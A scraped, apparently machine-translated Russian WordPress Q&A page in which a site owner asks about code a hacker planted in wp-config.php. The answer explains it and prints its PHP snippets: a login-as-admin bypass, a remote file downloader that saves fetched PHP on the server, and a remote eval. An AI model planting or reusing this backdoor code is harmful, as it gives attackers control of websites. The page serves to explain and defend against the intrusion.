Intereting Posts
Добавление the_date внутри тегов <p> вокруг the_content Как получить главный файл плагина / темы? Получение пула страниц автора из функций get_users () или get_userdata () Файлы мультимедиа существуют в папке загрузки, но не отображаются. использование slug вместо ID в admin edit post url Регистрация пользователей 30 дней назад (или больше) Использование Foundation 5 в области администрирования WordPress Как сопоставить URL-адрес с определенным шаблоном? Содержимое страницы запроса из параметров темы? Изменить порядок пользовательского таксономического списка Я запутался в санации URL в мета-боксах Подключение к медиа-библиотеке для загрузки изображений (НЕ связано с каким-либо сообщением) Как использовать jQuery на странице администратора виджета Объединение нескольких таблиц стилей в один условный блок Заголовок сайта и теглайн на странице параметров темы

Объяснение этого взломанного кода

Привет, я нашел новый код в файле wp-config.php одного из моих сайтов, он, кажется, был помещен туда хакером, каждый может объяснить, что он делает?

http://pastebin.com/fdMJCAXw

Solutions Collecting From Web of "Объяснение этого взломанного кода"

Существует 3 основных «функции» этого кода. Две строки проверяют, что pingnow и pass определены, и этот pass является правильным значением. pingnow используется позже для переключения между «функциями».

Первый запускается, если переменная pingnow GET является login . Он регистрирует запрашивающего пользователя в качестве пользователя «admin». Это не будет работать, если нет пользователя, называемого «admin».

 if ($_GET['pingnow']== 'login'){ $user_login = 'admin'; $user = get_userdatabylogin($user_login); $user_id = $user->ID; wp_set_current_user($user_id, $user_login); wp_set_auth_cookie($user_id); do_action('wp_login', $user_login); } 

Вторая часть позволяет загружать определенные файлы на ваш сервер. Если переменная pingnow является exec скрипт загружает файл и сохраняет его на сервере с именем случайного хеша md5. Затем он перенаправляет злоумышленника скрипту.

 if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){ $ch = curl_init($_GET['file']); $fnm = md5(rand(0,100)).'.php'; $fp = fopen($fnm, "w"); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); fclose($fp); echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>"; } 

Третья часть позволяет оценивать удаленный php. Он загружает файл, а затем eval его, запуская его на вашем сервере.

 if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){ $ch = curl_init($_GET['file']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $re = curl_exec($ch); curl_close($ch); eval($re); }